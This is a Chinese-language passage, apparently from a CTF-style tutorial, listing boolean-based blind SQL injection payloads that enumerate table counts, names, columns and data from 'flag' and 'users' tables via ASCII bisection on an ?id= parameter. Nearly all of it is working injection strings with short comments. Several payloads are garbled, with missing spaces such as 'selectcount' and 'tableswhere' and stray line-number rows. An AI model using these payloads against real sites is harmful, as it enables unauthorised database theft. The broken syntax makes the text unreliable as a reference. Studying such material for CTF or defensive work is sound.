1:判断当前数据库中表的个数 // 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为7 ?id=1' and (selectcount(table_name) from information_schema.tableswhere table_schema=database())>5 #
2:判断每个表的长度 //判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6 id=1' and length(substr((select table_name from information_schema.tableswhere table_schema=database() limit 0,1),1))>1--+
3:判断每个表的每个字符的ascii值 //判断第一个表的第一个字符的ascii值 ?id=1' and ascii(substr((select table_name from information_schema.tableswhere table_schema=database() limit 0,1),1,1))>100 # .........
判断表中的字段
1 2 3 4 5 6 7 8 9 10 11 12 13
1:判断表中字段的个数 //判断flag表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的 ?id=1'and (selectcount(column_name) from information_schema.columns where table_name='flag')>5#
2:判断字段的长度 //判断第一个字段的长度 ?id=1'andlength((select column_name from information_schema.columns where table_name='flag' limit 0,1))>5
3:判断字段的ascii值 //判断第一个字段的第一个字符的长度 ?id=1'andascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))>100
...........
判断字段中的数据
1 2 3 4 5 6 7 8 9
1: 判断数据的长度 // 判断id字段的第一个数据的长度 ?id=1'andlength((select id from flag limit 0,1))>5
2:判断数据的ascii值 // 判断id字段的第一个数据的第一个字符的ascii值 ?id=1'andascii(substr((select id from users limit 0,1),1,1))>100